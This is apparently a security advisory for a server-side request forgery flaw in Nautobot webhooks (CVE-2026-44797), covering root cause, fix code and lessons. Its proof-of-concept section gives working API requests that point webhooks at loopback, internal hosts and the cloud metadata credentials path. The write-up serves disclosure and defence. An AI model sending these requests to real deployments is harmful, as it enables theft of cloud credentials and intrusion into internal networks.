CVE-2026-44797 — Nautobot Webhook SSRF: webhook-receiver target URL is sent unchecked, reaching loopback / link-local / RFC1918
A Nautobot user with
extras.add_webhook/change_webhookpermission can point a webhook URL athttp://127.0.0.1:8001/,http://169.254.169.254/latest/meta-data/, or any internal-only host, and Nautobot's worker will dutifully send the change-event POST from a server-side context — full-blown SSRF that bypasses the perimeter and reaches whatever the Nautobot host can reach.
| CVE | CVE-2026-44797 (NVD) |
| GHSA | GHSA-c35q-vxrp-ph26 |
| Severity | High — CVSS 8.5 |
| Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Affected | nautobot < 2.4.33, < 3.1.2 |
| Fixed | 2.4.33, 3.1.2 |
| Authentication | Authenticated user with extras.add_webhook / change_webhook (or any role with Webhook write access) |
| Reporter | @whatisproblem |
| Fix commits | 16aa4aa (2.4.33), 7324c8f (3.1.2) |
Nautobot is a Django-based Network Source-of-Truth and automation platform. Its Webhook feature lets operators register an outbound HTTP endpoint that fires whenever a covered object (Device, Interface, Cable, etc.) is created, updated, or deleted — exactly the kind of plumbing operators wire into ServiceNow, Slack, Jenkins, or internal automation buses.
Pre-2.4.33 / 3.1.2, the only validation Nautobot performed on the webhook target URL was Django's stock URLValidator (which only checks "looks like a URL"). The scheme could be anything the underlying HTTP client speaks; the host could be a hostname, an IPv4 literal, an IPv6 literal, or localhost; the resolved address was never checked against loopback / link-local / RFC1918 / cloud-metadata ranges; and there was no DNS re-check at send time, so even a host that looked external could resolve to an internal address.
When the webhook fires, Nautobot's Celery worker performs the request from the Nautobot server itself. That makes the worker a confused deputy:
- The worker can reach
127.0.0.1,::1, and anylocalhost-bound services on the Nautobot host (e.g. an unauthenticated admin endpoint, an internal Prometheus, a debug toolbar). - On AWS / GCP / Azure / OCI, the worker can reach the cloud metadata service at
169.254.169.254(orfd00:ec2::254on IPv6) and exfiltrate IAM role credentials in the worker's logs / response capture. - On any non-zero-trust deployment, the worker can reach internal-only HTTP services on RFC1918 / RFC4193 ranges (
10/8,172.16/12,192.168/16,fc00::/7).
The only "authentication" needed is permission to create or edit a Webhook — a permission routinely delegated to network engineers and integrations admins, not just superusers.
Pre-fix nautobot/extras/models/models.py — Webhook.payload_url is a plain URLField. Django's URLField runs URLValidator() at save time, which accepts any HTTP/HTTPS URL syntactically. There is no check that the host is externally routable, and no DNS resolution performed on the host at any point.
Pre-fix nautobot/extras/tasks.py — process_webhook():
# (paraphrased — pre-fix)
def process_webhook(webhook_id, ...):
webhook = Webhook.objects.get(pk=webhook_id)
...
response = requests.request(
method=webhook.http_method,
url=webhook.payload_url, # <-- never re-validated
headers=...,
data=body,
timeout=...,
verify=webhook.ssl_verification,
)The Celery worker, running with whatever network reachability the Nautobot host has, takes webhook.payload_url and POSTs to it directly. There is nothing between "user typed a URL into the form" and "server-side requests.request(url=...)":
- Scheme is unrestricted.
URLValidatordefaults accepthttp,https,ftp,ftps. Anythingrequestshonours after that is in scope. - No host-IP check. Loopback (
127.0.0.0/8,::1), link-local (169.254.0.0/16,fe80::/10), multicast, reserved, and RFC1918 / RFC4193 ranges all pass. - No DNS re-check at send time. Even if a save-time check had been added, an attacker-controlled DNS name can return a public address at validation time and a private one at fetch time (DNS rebinding / split-horizon). The send-time path must re-resolve and re-check.
- No allow-list. There is no way for an operator to say "only
*.example.comis a legitimate webhook target on this instance".
The fix introduces a new module nautobot/extras/webhooks.py and a pair of validators that close all four gaps.
git clone https://github.com/nautobot/nautobot
cd nautobot && git checkout v2.4.32
docker compose -f development/docker-compose.yml up -dProvision an account with the extras.add_webhook and extras.change_webhook permissions (or use any superuser). All of the steps below use that user's session token / API token.
Pre-2.4.33 the API will accept this without complaint:
POST /api/extras/webhooks/ HTTP/1.1
Host: nautobot.local
Authorization: Token <user-token>
Content-Type: application/json
{
"name": "ssrf-loopback",
"content_types": ["dcim.device"],
"type_create": true,
"payload_url": "http://127.0.0.1:8001/__internal__/admin",
"http_method": "POST",
"http_content_type": "application/json",
"enabled": true,
"ssl_verification": false
}
→ 201 CreatedSubstitute any of these for the same effect:
| Target | URL |
|---|---|
| Cloud metadata (AWS) | http://169.254.169.254/latest/meta-data/iam/security-credentials/ |
| Internal admin panel | http://10.0.0.5:9000/admin |
| Localhost-only service | http://localhost:6379/ (Redis) |
| IPv6 loopback | http://[::1]:8001/ |
POST /api/dcim/devices/ HTTP/1.1
Authorization: Token <user-token>
Content-Type: application/json
{ "name": "ssrf-trigger", "device_type": "...", "role": "...", "status": "...", "location": "..." }
→ 201 CreatedThe Celery worker picks up the create event, looks up matching webhooks, and calls requests.post("http://127.0.0.1:8001/__internal__/admin", ...) from the Nautobot host.
The most reliable observation channel is the worker logs (docker compose logs worker -f) — the worker logs the response status code and, depending on log level, a body excerpt. For instance-level confirmation:
- Set the webhook URL to a Burp Collaborator /
webhook.sitelistener and confirm the request originates from the Nautobot host's egress IP. - Set the webhook URL to a known-internal HTTP service and confirm the worker logs a
200/401/403response that an external attacker could not have produced.
Demonstrative scope only. The PoC proves the request is issued from the server-side context. A real attacker would chain this into (a) cloud-metadata IAM credential theft on AWS/GCP/Azure deployments, (b) port-scanning of the internal subnet by enumerating webhook URLs and reading status codes from worker logs / event-history, or (c) exploitation of any localhost-only management endpoint on the Nautobot host. None of those payloads are reproduced here.
Patched in v2.4.33 (commit 16aa4aa) and v3.1.2 (commit 7324c8f). The fix has four moving parts:
# Defaults — set in nautobot/core/settings.py
WEBHOOK_ALLOWED_SCHEMES = ["http", "https"] # was: anything URLValidator accepts
WEBHOOK_ADDITIONAL_BLOCKED_NETWORKS = [ # appended to the built-in block-list
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16",
"fc00::/7", # IPv6 ULA
]
WEBHOOK_ALLOWED_HOSTS = [] # admin-managed allow-list bypassThe default WEBHOOK_ADDITIONAL_BLOCKED_NETWORKS blocks RFC1918 + RFC4193. The built-in block-list (loopback, link-local, multicast, reserved) is non-overridable even via WEBHOOK_ALLOWED_HOSTS — operators cannot accidentally allow 127.0.0.1.
Two validators are introduced — one for save-time, one for send-time:
# nautobot/extras/webhooks.py
def validate_webhook_url_format(url):
"""Save-time: scheme + URL syntax + IP-literal block-list. No DNS."""
host = _webhook_validate_scheme_and_extract_host(url)
allow_listed = _webhook_host_matches_allow_list(host, settings.WEBHOOK_ALLOWED_HOSTS)
addr = _webhook_address_from_host(host)
if addr is not None:
_webhook_check_address_against_block_lists(host, addr, check_additional=not allow_listed)
def validate_webhook_url(url):
"""Send-time: same as above + DNS resolution + per-resolved-address check."""
host = _webhook_validate_scheme_and_extract_host(url)
allow_listed = _webhook_host_matches_allow_list(host, settings.WEBHOOK_ALLOWED_HOSTS)
addr = _webhook_address_from_host(host)
if addr is not None:
_webhook_check_address_against_block_lists(host, addr, check_additional=not allow_listed)
return str(addr)
# Hostname → DNS → check every resolved address (defends against DNS rebinding)
bare_host = host[1:-1] if host.startswith("[") and host.endswith("]") else host
infos = socket.getaddrinfo(bare_host, None)
chosen = None
for info in infos:
addr = netaddr.IPAddress(info[4][0])
_webhook_check_address_against_block_lists(host, addr, check_additional=not allow_listed)
if chosen is None:
chosen = str(addr)
return chosenThe non-overridable built-in block-list:
def _webhook_addr_is_builtin_blocked(addr):
"""Return True if addr is in a never-legitimate range."""
return addr.is_loopback() or addr.is_link_local() or addr.is_multicast() or addr.is_reserved()Webhook.payload_url now goes through validate_webhook_url_format() on clean(), so attempts to save a Webhook with payload_url=http://127.0.0.1:.../ are rejected at the form/serializer layer with a clear ValidationError.
The worker now calls validate_webhook_url(payload_url) before issuing the request, re-resolving DNS and re-checking every resolved address. This is the layer that defends against DNS rebinding: even if the save-time check passed (because the host resolved to a public address at form-submit time), the send-time check will reject it if it now resolves to anything in the block-list.
The nautobot-server webhook_receiver debug command — a development helper that ran a small HTTP server on 127.0.0.1 for testing webhook payloads — is removed entirely (nautobot/extras/management/commands/webhook_receiver.py deleted), eliminating it as a "legitimate" reason to allow loopback URLs.
- After upgrade, audit existing Webhook rows for any
payload_urlthat resolves to a private/loopback host. Pre-fix instances may have such rows; the upgrade does not retroactively delete them, but the next send will fail closed. - If you have a legitimate internal webhook target (e.g. an internal Slack proxy), add it to
WEBHOOK_ALLOWED_HOSTS(Django ALLOWED_HOSTS-style: literal hostname,.example.comsubdomain wildcard, or*). Note that the built-in block-list (loopback / link-local / multicast / reserved) is not overridable byWEBHOOK_ALLOWED_HOSTS— onlyWEBHOOK_ADDITIONAL_BLOCKED_NETWORKSis.
- (internal research, prior to disclosure) — Discovered.
- (prior to 2026-05-08) — Reported privately via GHSA Draft to the Nautobot maintainers.
- 2026-05-08 — Patches released in
v2.4.33andv3.1.2; GHSA-c35q-vxrp-ph26 published; CVE-2026-44797 assigned. - 2026-05-10 — Public write-up.
- Outbound-HTTP features are SSRF surface, not "trusted" surface. Any feature that takes a URL from a user — webhook receivers, avatar fetchers, image proxies, OEmbed fetchers, OAuth provider URLs — needs the full SSRF treatment: scheme allow-list, IP-literal block-list, DNS resolution check, and send-time re-resolution to defend against DNS rebinding. "It's an admin-only feature" is not a control: the worker still runs server-side and can still reach
169.254.169.254. - Save-time validation is a courtesy; send-time validation is the security boundary. A check that runs at form-submit time and never runs again is bypassable by DNS-rebinding (
A → public IP at validation, A → internal IP at send), CNAME redirection, or simply rotating the DNS record. The fix here gets it right by re-resolving and re-checking inside the Celery task immediately before issuing the request. - Build a block-list with a non-overridable core.
WEBHOOK_ALLOWED_HOSTSlets operators allow custom intranet targets without removing protection against the things that are never legitimate webhook destinations: loopback, link-local, multicast, reserved. Splitting the block-list into "configurable" (RFC1918) and "non-overridable" (loopback / 169.254 / etc.) means a misconfigured allow-list can't degrade into "allow127.0.0.1". - Delete dev-only helpers that legitimise dangerous patterns. The pre-fix
webhook_receivermanagement command bound an HTTP server to127.0.0.1so developers could point their webhooks at it for testing. Its existence makes "allow loopback URLs in webhooks" feel reasonable. Removing it as part of the same patch is the right call: dev ergonomics shouldn't dictate prod security posture. - Audit rows after upgrade. Operators upgrading to
2.4.33/3.1.2should run a one-shot script that resolves every existingWebhook.payload_urland flags any that fall in a block-listed range — a pre-existing webhook will fail on the next send, but the audit gives operators visibility before that happens. Patches don't retroactively clean dangerous data.
- CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-44797
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-44797
- GHSA: https://github.com/nautobot/nautobot/security/advisories/GHSA-c35q-vxrp-ph26
- CWE-918: https://cwe.mitre.org/data/definitions/918.html
- Fix commits:
16aa4aa(2.4.33) /7324c8f(3.1.2) - Upstream project: https://github.com/nautobot/nautobot
- Nautobot Webhook docs: https://docs.nautobot.com/projects/core/en/stable/user-guide/platform-functionality/webhook/